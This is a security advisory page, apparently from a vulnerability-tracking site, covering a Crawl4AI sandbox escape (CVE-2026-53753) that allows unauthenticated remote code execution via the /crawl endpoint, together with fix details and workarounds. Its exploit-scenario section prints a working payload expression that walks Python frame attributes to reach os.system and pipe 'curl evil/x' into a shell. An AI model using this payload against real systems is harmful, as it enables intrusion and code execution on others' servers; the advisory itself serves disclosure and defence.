Crawl4AI CVE-2026-53753
CRITICAL
GHSA-qxjp-w3pj-48m7
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Network-reachable /crawl endpoint, single crafted JSON body, JWT off by default so PR:N, no user interaction, and RCE inside the container yields full C/I/A impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The _safe_eval_expression() function in the computed fields feature uses an AST validator that only blocks attributes starting with underscore. Python generator and frame object attributes (gi_frame, f_back, f_builtins) do NOT start with underscore, enabling a complete sandbox escape to achieve arbitrary code execution.
The attack requires no authentication (JWT disabled by default) and is triggered via POST /crawl with a crafted extraction schema.
Attack Vector
An attacker sends a POST /crawl request with a JsonCssExtractionStrategy schema containing a malicious computed field expression that:
- Creates a generator to access
gi_frame - Walks the frame chain via
f_back - Reaches
f_builtinscontaining the real__import__ - Imports
osand executes arbitrary commands
Impact
Unauthenticated remote code execution inside the Docker container. An attacker can execute arbitrary system commands, read/write files, and exfiltrate secrets.
Fix Details
- Removed
eval()from computed field expression path entirely -- expressions now log a warning and return default value - Deleted
_safe_eval_expression()function and_SAFE_EVAL_BUILTINS(dead security-sensitive code) functionkey with Python callables still works for SDK users- Replaced
eval()in/config/dumpwith JSON-based input validated by Pydantic - Fixed hook_manager sandbox: stripped
__builtins__,__loader__,__spec__from injected modules; removedgetattr,setattr,type,__build_class__from allowed builtins
Workarounds
- Upgrade to the patched version (recommended)
- Enable JWT authentication via
CRAWL4AI_API_TOKENenvironment variable - Restrict network access to the Docker API
Credits
Articles & Coverage 3
AnalysisAI
Unauthenticated remote code execution in Crawl4AI versions <= 0.8.6 allows attackers to escape the AST-based sandbox in the computed fields feature by abusing Python generator frame attributes (gi_frame, f_back, f_builtins) that the validator failed to block. Because JWT authentication is disabled by default in the Docker API, any attacker reachable on the network can POST a crafted JsonCssExtractionStrategy schema to /crawl and execute arbitrary commands inside the container. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The target must be running crawl4ai <= 0.8.6 with the Docker / FastAPI HTTP server started and the /crawl endpoint reachable by the attacker; JWT must be disabled, which is the default state when CRAWL4AI_API_TOKEN is not set. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | All risk signals align toward high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker scans for exposed Crawl4AI Docker instances on the internet or internal network and sends a single POST /crawl request whose body includes a JsonCssExtractionStrategy schema with a computed field expression like (lambda g=(x for x in []): g.gi_frame.f_back.f_builtins['__import__']('os').system('curl evil/x|sh')). Because JWT is disabled by default and the AST validator never inspected non-underscore frame attributes, the expression is eval'd inside the container and the attacker gains code execution as the service user, enabling secret theft, lateral movement, and persistence. … |
| Remediation | Vendor-released patch: upgrade crawl4ai to 0.8.7, which removes eval() from the computed-field path entirely (expressions now log a warning and return the field default), deletes _safe_eval_expression() and _SAFE_EVAL_BUILTINS, replaces eval() in /config/dump with Pydantic-validated JSON, and hardens the hook_manager sandbox by stripping __builtins__/__loader__/__spec__ from injected modules and removing getattr, setattr, type, and __build_class__ from allowed builtins (see PRs https://github.com/unclecode/crawl4ai/pull/1855 and https://github.com/unclecode/crawl4ai/pull/1886). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify all Crawl4AI instances and verify versions (≤0.8.6 are affected); restrict network access to the service. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Unauthenticated remote attackers can invoke MCP tool handlers and exfiltrate the operator's long-lived Meta Graph API ac
Remote code execution in Splunk Enterprise, Splunk Cloud Platform, and the Splunk Secure Gateway app allows a low-privil
Remote code execution in Langflow versions through 1.9.1 allows unauthenticated attackers to execute arbitrary Python co
Authenticated remote code execution in ChromaDB Python project versions 0.4.17 and later enables attackers holding the U
Authentication bypass in dhax/go-base Go REST API boilerplate (versions prior to commit cc82b974, merged May 17, 2026) a
Share
External POC / Exploit Code
Leaving vuln.today